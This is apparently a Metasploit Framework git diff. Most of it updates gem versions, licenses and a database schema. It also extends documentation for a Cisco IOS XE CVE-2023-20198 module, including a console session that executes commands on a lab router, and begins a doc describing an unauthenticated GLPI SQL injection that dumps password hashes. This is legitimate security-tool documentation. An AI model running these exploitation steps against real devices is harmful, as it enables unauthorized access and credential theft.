rex-random_identifier (0.1.15)
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
rex-registry (0.1.6)
|
||||
rex-rop_builder (0.1.6)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.58)
|
||||
rex-socket (0.1.59)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-sslscan (0.1.11)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.59)
|
||||
rex-zip (0.1.5)
|
||||
rex-struct2 (0.1.5)
|
||||
rex-text (0.2.60)
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
rexml (3.3.9)
|
||||
rexml (3.4.1)
|
||||
rinda (0.2.0)
|
||||
drb
|
||||
forwardable
|
||||
ipaddr
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.2)
|
||||
rspec-core (3.13.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
@@ -478,7 +486,7 @@ GEM
|
||||
rspec-mocks (3.13.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.0.1)
|
||||
rspec-rails (7.1.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
@@ -488,7 +496,7 @@ GEM
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.13.1)
|
||||
rspec-support (3.13.2)
|
||||
rubocop (1.67.0)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
@@ -499,10 +507,10 @@ GEM
|
||||
rubocop-ast (>= 1.32.2, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.33.0)
|
||||
rubocop-ast (1.38.1)
|
||||
parser (>= 3.3.1.0)
|
||||
ruby-macho (4.1.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-mysql (4.2.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
@@ -515,7 +523,7 @@ GEM
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.5)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
rubyzip (2.4.1)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
@@ -534,30 +542,28 @@ GEM
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.4.2)
|
||||
test-prof (1.4.4)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.3.2)
|
||||
tilt (2.4.0)
|
||||
tilt (2.6.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.1)
|
||||
timeout (0.4.3)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2024.2)
|
||||
tzinfo-data (1.2025.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (2.6.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
macaddr (~> 1.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.8.2)
|
||||
websocket-driver (0.7.6)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
win32api (0.1.0)
|
||||
@@ -578,7 +584,7 @@ GEM
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.37)
|
||||
zeitwerk (2.6.18)
|
||||
zeitwerk (2.7.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -596,7 +602,7 @@ DEPENDENCIES
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
rubocop (= 1.67.0)
|
||||
ruby-prof (= 1.4.2)
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: https://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2020, Rapid7, Inc.
|
||||
Copyright: 2006-2025, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
||||
+91
-91
@@ -1,36 +1,36 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.1, MIT
|
||||
Ascii85, 2.0.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
abbrev, 0.1.2, "ruby, Simplified BSD"
|
||||
actionpack, 7.0.8.6, MIT
|
||||
actionview, 7.0.8.6, MIT
|
||||
activemodel, 7.0.8.6, MIT
|
||||
activerecord, 7.0.8.6, MIT
|
||||
activesupport, 7.0.8.6, MIT
|
||||
actionpack, 7.0.8.7, MIT
|
||||
actionview, 7.0.8.7, MIT
|
||||
activemodel, 7.0.8.7, MIT
|
||||
activerecord, 7.0.8.7, MIT
|
||||
activesupport, 7.0.8.7, MIT
|
||||
addressable, 2.8.7, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.24.5, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.5, "Apache 2.0"
|
||||
arel-helpers, 2.15.0, MIT
|
||||
allure-rspec, 2.26.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.26.0, "Apache 2.0"
|
||||
arel-helpers, 2.16.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.999.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.211.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.486.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.112.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.95.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.169.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.183.0, "Apache 2.0"
|
||||
aws-sigv4, 1.10.1, "Apache 2.0"
|
||||
aws-eventstream, 1.3.2, "Apache 2.0"
|
||||
aws-partitions, 1.1065.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.220.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.511.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.119.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.99.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.182.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.191.0, "Apache 2.0"
|
||||
aws-sigv4, 1.11.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.1, MIT
|
||||
benchmark, 0.4.0, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.8, "ruby, Simplified BSD"
|
||||
bigdecimal, 3.1.9, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.1, "Apache 2.0"
|
||||
bson, 5.0.2, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.10, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
@@ -39,12 +39,12 @@ coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.3.4, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
csv, 3.3.2, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.4, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
drb, 2.2.1, "ruby, Simplified BSD"
|
||||
@@ -52,9 +52,9 @@ ed25519, 1.3.0, MIT
|
||||
elftools, 1.3.1, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.3, MIT
|
||||
erubi, 1.13.0, MIT
|
||||
erubi, 1.13.1, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.5.0, MIT
|
||||
factory_bot, 6.5.1, MIT
|
||||
factory_bot_rails, 6.4.4, MIT
|
||||
faker, 3.5.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
@@ -65,57 +65,58 @@ ffi, 1.16.3, "New BSD"
|
||||
fiddle, 1.1.6, "ruby, Simplified BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
forwardable, 1.3.3, "ruby, Simplified BSD"
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
gssapi, 1.3.1, MIT
|
||||
gyoku, 1.4.0, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.7, MIT
|
||||
http-cookie, 1.0.8, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.6, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
httpclient, 2.9.0, ruby
|
||||
i18n, 1.14.7, MIT
|
||||
io-console, 0.8.0, "ruby, Simplified BSD"
|
||||
ipaddr, 1.2.7, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.7.5, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
json, 2.10.2, ruby
|
||||
language_server-protocol, 3.17.0.4, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logger, 1.6.1, "ruby, Simplified BSD"
|
||||
logger, 1.6.6, "ruby, Simplified BSD"
|
||||
logging, 2.4.0, MIT
|
||||
loofah, 2.23.1, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
loofah, 2.24.0, MIT
|
||||
memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.52, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-concern, 5.0.4, "New BSD"
|
||||
metasploit-credential, 6.0.14, "New BSD"
|
||||
metasploit-framework, 6.4.57, "New BSD"
|
||||
metasploit-model, 5.0.3, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.6, "New BSD"
|
||||
metasploit_data_models, 6.0.9, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mime-types-data, 3.2025.0304, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
minitest, 5.25.5, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.3, MIT
|
||||
mutex_m, 0.2.0, "ruby, Simplified BSD"
|
||||
mutex_m, 0.3.0, "ruby, Simplified BSD"
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.5.0, "ruby, Simplified BSD"
|
||||
net-imap, 0.5.6, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-sftp, 4.0.0, MIT
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.1, "ruby, Simplified BSD"
|
||||
net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.18.2, MIT
|
||||
nokogiri, 1.18.3, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -124,69 +125,70 @@ openvas-omp, 0.0.4, MIT
|
||||
ostruct, 0.6.1, "ruby, Simplified BSD"
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
parser, 3.3.7.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.3, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pdf-reader, 2.14.1, MIT
|
||||
pg, 1.5.9, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 6.0.1, MIT
|
||||
puma, 6.4.3, "New BSD"
|
||||
puma, 6.6.0, "New BSD"
|
||||
racc, 1.8.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.10, MIT
|
||||
rack, 2.2.13, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rack-test, 2.2.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8.6, MIT
|
||||
rails-html-sanitizer, 1.6.2, MIT
|
||||
railties, 7.0.8.7, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rasn1, 0.14.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.11, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.9.2, MIT
|
||||
reline, 0.5.10, ruby
|
||||
recog, 3.1.14, unknown
|
||||
redcarpet, 3.6.1, MIT
|
||||
regexp_parser, 2.10.0, MIT
|
||||
reline, 0.6.0, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.16, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-arch, 0.1.18, "New BSD"
|
||||
rex-bin_tools, 0.1.10, "New BSD"
|
||||
rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.40, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.13, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.58, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.3.9, "Simplified BSD"
|
||||
rex-encoder, 0.1.8, "New BSD"
|
||||
rex-exploitation, 0.1.41, "New BSD"
|
||||
rex-java, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
rex-nop, 0.1.4, "New BSD"
|
||||
rex-ole, 0.1.9, "New BSD"
|
||||
rex-powershell, 0.1.101, "New BSD"
|
||||
rex-random_identifier, 0.1.15, "New BSD"
|
||||
rex-registry, 0.1.6, "New BSD"
|
||||
rex-rop_builder, 0.1.6, "New BSD"
|
||||
rex-socket, 0.1.59, "New BSD"
|
||||
rex-sslscan, 0.1.11, "New BSD"
|
||||
rex-struct2, 0.1.5, "New BSD"
|
||||
rex-text, 0.2.60, "New BSD"
|
||||
rex-zip, 0.1.6, "New BSD"
|
||||
rexml, 3.4.1, "Simplified BSD"
|
||||
rinda, 0.2.0, "ruby, Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.2, MIT
|
||||
rspec-core, 3.13.3, MIT
|
||||
rspec-expectations, 3.13.3, MIT
|
||||
rspec-mocks, 3.13.2, MIT
|
||||
rspec-rails, 7.0.1, MIT
|
||||
rspec-rails, 7.1.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rspec-support, 3.13.2, MIT
|
||||
rubocop, 1.67.0, MIT
|
||||
rubocop-ast, 1.33.0, MIT
|
||||
rubocop-ast, 1.38.1, MIT
|
||||
ruby-macho, 4.1.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-mysql, 4.2.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.13, "New BSD"
|
||||
rubyntlm, 0.6.5, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
rubyzip, 2.4.1, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.13.1, MIT
|
||||
@@ -196,22 +198,20 @@ sqlite3, 1.7.3, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.4.2, MIT
|
||||
test-prof, 1.4.4, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.3.2, MIT
|
||||
tilt, 2.4.0, MIT
|
||||
tilt, 2.6.0, MIT
|
||||
timecop, 0.9.10, MIT
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
timeout, 0.4.3, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2024.2, MIT
|
||||
tzinfo-data, 1.2025.1, MIT
|
||||
unicode-display_width, 2.6.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.2, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
webrick, 1.9.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.7, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
@@ -219,4 +219,4 @@ winrm, 2.3.9, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.37, MIT
|
||||
zeitwerk, 2.6.18, MIT
|
||||
zeitwerk, 2.7.2, MIT
|
||||
|
||||
BIN
Binary file not shown.
+18972
-50492
File diff suppressed because it is too large
Load Diff
+2
-1
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
ActiveRecord::Schema[7.0].define(version: 2025_02_04_172657) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -314,6 +314,7 @@ ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
t.datetime "created_at", precision: nil, null: false
|
||||
t.datetime "updated_at", precision: nil, null: false
|
||||
t.string "jtr_format"
|
||||
t.jsonb "metadata", default: {}, null: false
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
|
||||
|
||||
+4
-4
@@ -17,15 +17,15 @@ GEM
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
colorator (1.1.0)
|
||||
concurrent-ruby (1.3.4)
|
||||
concurrent-ruby (1.3.5)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
eventmachine (1.2.7)
|
||||
ffi (1.17.0)
|
||||
ffi (1.17.1)
|
||||
forwardable-extended (2.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.14.6)
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (4.3.4)
|
||||
addressable (~> 2.4)
|
||||
@@ -76,7 +76,7 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.4.0)
|
||||
rexml (3.4.1)
|
||||
rouge (4.5.1)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
|
||||
@@ -34,7 +34,15 @@ The vulnerable IOS XE versions are:
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
This module was tested against the following IOS XE versions:
|
||||
|
||||
| IOS XE Version | Appliance Series |
|
||||
|----------------|------------------|
|
||||
| 16.12.3 | CSR1000v |
|
||||
| 17.03.02 | CSR1000v |
|
||||
| 17.06.05 | C8000v |
|
||||
|
||||
To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
@@ -87,6 +95,7 @@ modes are `user`, `privileged`, and `global`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IOS XE 16.12.03 (CSR1000v)
|
||||
```
|
||||
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
|
||||
@@ -169,4 +178,85 @@ msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show
|
||||
*15:24:05.110 UTC Fri Nov 3 2023
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
|
||||
### IOS XE 17.06.05 (C8000v)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD show version yes The CLI command to execute.
|
||||
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.108 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
|
||||
[*] Running module against 192.168.86.108
|
||||
|
||||
Cisco IOS XE Software, Version 17.06.05
|
||||
Cisco IOS Software [Bengaluru], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 17.6.5, RELEASE SOFTWARE (fc2)
|
||||
Technical Support: http://www.cisco.com/techsupport
|
||||
Copyright (c) 1986-2023 by Cisco Systems, Inc.
|
||||
Compiled Wed 25-Jan-23 16:07 by mcpre
|
||||
Cisco IOS-XE software, Copyright (c) 2005-2023 by cisco Systems, Inc.
|
||||
All rights reserved. Certain components of Cisco IOS-XE software are
|
||||
licensed under the GNU General Public License ("GPL") Version 2.0. The
|
||||
software code licensed under GPL Version 2.0 is free software that comes
|
||||
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
|
||||
GPL code under the terms of GPL Version 2.0. For more details, see the
|
||||
documentation or "License Notice" file accompanying the IOS-XE software,
|
||||
or the applicable URL provided on the flyer accompanying the IOS-XE
|
||||
software.
|
||||
ROM: IOS-XE ROMMON
|
||||
test_c800v uptime is 1 hour, 43 minutes
|
||||
Uptime for this control processor is 1 hour, 44 minutes
|
||||
System returned to ROM by reload
|
||||
System image file is "bootflash:packages.conf"
|
||||
Last reload reason: reload
|
||||
This product contains cryptographic features and is subject to United
|
||||
States and local country laws governing import, export, transfer and
|
||||
use. Delivery of Cisco cryptographic products does not imply
|
||||
third-party authority to import, export, distribute or use encryption.
|
||||
Importers, exporters, distributors and users are responsible for
|
||||
compliance with U.S. and local country laws. By using this product you
|
||||
agree to comply with applicable laws and regulations. If you are unable
|
||||
to comply with U.S. and local laws, return this product immediately.
|
||||
A summary of U.S. laws governing Cisco cryptographic products may be found at:
|
||||
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
|
||||
If you require further assistance please contact us by sending email to
|
||||
export@cisco.com.
|
||||
License Level:
|
||||
License Type: Perpetual
|
||||
Next reload license Level:
|
||||
Addon License Level:
|
||||
Addon License Type: Subscription
|
||||
Next reload addon license Level:
|
||||
The current throughput level is 10000 kbps
|
||||
Smart Licensing Status: Registration Not Applicable/Not Applicable
|
||||
cisco C8000V (VXE) processor (revision VXE) with 2027875K/3075K bytes of memory.
|
||||
Processor board ID 9VM6T5CQNTE
|
||||
Router operating mode: Autonomous
|
||||
3 Gigabit Ethernet interfaces
|
||||
32768K bytes of non-volatile configuration memory.
|
||||
3965316K bytes of physical memory.
|
||||
11526144K bytes of virtual hard disk at bootflash:.
|
||||
Configuration register is 0x2102
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
|
||||
[*] Running module against 192.168.86.108
|
||||
|
||||
*17:36:50.722 UTC Mon Mar 3 2025
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
@@ -31,6 +31,9 @@ The vulnerable IOS XE versions are:
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
## Vulnerable Application
|
||||
GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the "Enable Inventory"
|
||||
radio button inside the administration configuration also must be checked.
|
||||
|
||||
### Setup on Ubuntu 22.04
|
||||
|
||||
Install PHP dependencies:
|
||||
```
|
